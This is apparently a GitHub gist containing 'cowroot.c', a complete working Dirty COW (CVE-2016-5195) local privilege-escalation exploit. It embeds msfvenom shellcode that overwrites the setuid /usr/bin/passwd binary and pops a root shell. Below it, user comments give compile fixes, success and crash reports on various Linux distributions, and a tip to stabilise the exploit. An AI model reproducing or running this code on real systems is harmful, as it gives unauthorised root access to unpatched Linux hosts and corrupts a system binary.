-
-
Save rverton/e9d4ff65d703a9084e85fa9df083c679 to your computer and use it in GitHub Desktop.
/* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* Size of binary: 57048 | |
* Racing, this may take a while.. | |
* /usr/bin/passwd overwritten | |
* Popping root shell. | |
* Don't forget to restore /tmp/bak | |
* thread stopped | |
* thread stopped | |
* root@box:/root/cow# id | |
* uid=0(root) gid=1000(foo) groups=1000(foo) | |
* | |
* @robinverton | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/mman.h> | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <string.h> | |
#include <unistd.h> | |
void *map; | |
int f; | |
int stop = 0; | |
struct stat st; | |
char *name; | |
pthread_t pth1,pth2,pth3; | |
// change if no permissions to read | |
char suid_binary[] = "/usr/bin/passwd"; | |
/* | |
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
*/ | |
unsigned char sc[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, | |
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, | |
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, | |
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, | |
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 | |
}; | |
unsigned int sc_len = 177; | |
/* | |
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i | |
unsigned char sc[] = { | |
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, | |
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, | |
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, | |
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, | |
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, | |
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, | |
0x89, 0xe1, 0xcd, 0x80 | |
}; | |
unsigned int sc_len = 136; | |
*/ | |
void *madviseThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int i,c=0; | |
for(i=0;i<1000000 && !stop;i++) { | |
c+=madvise(map,100,MADV_DONTNEED); | |
} | |
printf("thread stopped\n"); | |
} | |
void *procselfmemThread(void *arg) | |
{ | |
char *str; | |
str=(char*)arg; | |
int f=open("/proc/self/mem",O_RDWR); | |
int i,c=0; | |
for(i=0;i<1000000 && !stop;i++) { | |
lseek(f,map,SEEK_SET); | |
c+=write(f, str, sc_len); | |
} | |
printf("thread stopped\n"); | |
} | |
void *waitForWrite(void *arg) { | |
char buf[sc_len]; | |
for(;;) { | |
FILE *fp = fopen(suid_binary, "rb"); | |
fread(buf, sc_len, 1, fp); | |
if(memcmp(buf, sc, sc_len) == 0) { | |
printf("%s overwritten\n", suid_binary); | |
break; | |
} | |
fclose(fp); | |
sleep(1); | |
} | |
stop = 1; | |
printf("Popping root shell.\n"); | |
printf("Don't forget to restore /tmp/bak\n"); | |
system(suid_binary); | |
} | |
int main(int argc,char *argv[]) { | |
char *backup; | |
printf("DirtyCow root privilege escalation\n"); | |
printf("Backing up %s to /tmp/bak\n", suid_binary); | |
asprintf(&backup, "cp %s /tmp/bak", suid_binary); | |
system(backup); | |
f = open(suid_binary,O_RDONLY); | |
fstat(f,&st); | |
printf("Size of binary: %d\n", st.st_size); | |
char payload[st.st_size]; | |
memset(payload, 0x90, st.st_size); | |
memcpy(payload, sc, sc_len+1); | |
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); | |
printf("Racing, this may take a while..\n"); | |
pthread_create(&pth1, NULL, &madviseThread, suid_binary); | |
pthread_create(&pth2, NULL, &procselfmemThread, payload); | |
pthread_create(&pth3, NULL, &waitForWrite, NULL); | |
pthread_join(pth3, NULL); | |
return 0; | |
} |
Seems to work great, but freezes my virtual machine after a minute or so.
Had to explicitly cast on line 98: lseek(f,(__off_t)map,SEEK_SET);
It then compiled and worked on Centos7-x64 for about 30 seconds after which selinux went crazy and the system reboot. Some sample /var/log/messages prior to the crash:
Oct 22 23:24:10 myserver setroubleshoot: SELinux is preventing /usr/bin/passwd from write access on the file /proc/<pid>/mem. For complete SELinux messages. run sealert -l cd27eda7-f82d-4595-9505-b3fd4990262f
Oct 22 23:24:11 myserver setroubleshoot: SELinux is preventing /usr/bin/bash from read access on the file .bash_history. For complete SELinux messages. run sealert -l 3366a8fa-6662-43e0-b715-4f882607f4a3
Great work so far!
Same thing happened to me (system crash in centos 7/64) with selinux disabled, but I went root for about one minute or so
Tested on debian 8 x86. uname 3.16-0-4-686. Doesn't work
Don't forget to restore /tmp/bak thread stopped /usr/bin/passwd: 1: /usr/bin/passwd: ELF����: not found /usr/bin/passwd: 1: /usr/bin/passwd: not found /usr/bin/passwd: 1: /usr/bin/passwd: 1sG not found /usr/bin/passwd: 2: /usr/bin/passwd: /bin/bash/lib/ld-linux.so.2���GNU��: not found /usr/bin/passwd: 3: /usr/bin/passwd: ���������xpected user1@debian8x86:~$ passwd bash: /usr/bin/passwd: cannot execute binary file: Exec format error
@artkond, did you choose the correct payload?
In a VM with Ubuntu 16.04.1 it works but freezes the system.
@libmifan I can't even compile it with Centos 5.11 (2.6.18-412.el5.centos.plus), I had to add:
#include <sys/stat.h>
#include <sys/types.h>
Is this expected? Maybe not, right @falk0069?
gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:101: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast
The warnings are normal. This PoC crashes on some systems and on some others it's stable. I can't fix this for now.
Maybe you can find a different PoC from here, which makes use of another technique and does not crash.
I was able to stabilize this exploit by turning off periodic write-back after the shell pops. As found in the following issue.
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
The lazy(easy) approach to disabling writebacks: https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43
gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:98:17: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [-Wint-conversion]
lseek(f,map,SEEK_SET);
^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:337:16: note: expected ‘__off_t {aka long int}’ but argument is of type ‘void *’
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
cowroot.c: In function ‘main’:
cowroot.c:135:5: warning: implicit declaration of function ‘asprintf’ [-Wimplicit-function-declaration]
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
^
cowroot.c:139:5: warning: implicit declaration of function ‘fstat’ [-Wimplicit-function-declaration]
fstat(f,&st);
^
cowroot.c:141:12: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘__off_t {aka long int}’ [-Wformat=]
printf("Size of binary: %d\n", st.st_size);
^
When copying sc
into payload
, why use memcpy(payload, sc, sc_len+1);
instead of memcpy(payload, sc, sc_len);
?
sc_len+1
seems meaningless and copys out of sc
array.
goddammit I used this exploit because i forgot my new root password and I didn't realize it alters passwd binary so then I couldn't reset my password to proper one! :<
luckily it doesn't affect snapshots so at least I could revert /etc/shadow and /bin/passwd from old snapshot >.>
how can i compile it in order to run it on android device?
how you generate the payload of the metasploit in hexcode(shell code)?
Any reason why we use 100
as size with madvise
Awesome, saved my old dev computer after I forgot my root creds.
TheBunnyCoder no, it isn´t happen. It means it doesn´t work in your machine
It works but freeze the machine. I think there isn´t other way like cowroot
version `GLIBC_2.34' not found
./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.33' not found (required by ./cowroot) ./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version
GLIBC_2.34' not found (required by ./cowroot)
LSEEK( ) Error on Compiling
If you are facing an lseek()
error. Go to line 97 and find the following piece of code:
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET); # Change Me
c+=write(f, str, sc_len);
}
Delete the line that says "Change Me" and replace it with - lseek(f, (off_t)map, SEEK_SET);
. Now it should compile without errors.
The edited gist that works, can be found here -
https://gist.github.com/hutgrabber/0f9e8584f6e754cb9dba6f909467afaf
All looks legit to me tuxayo.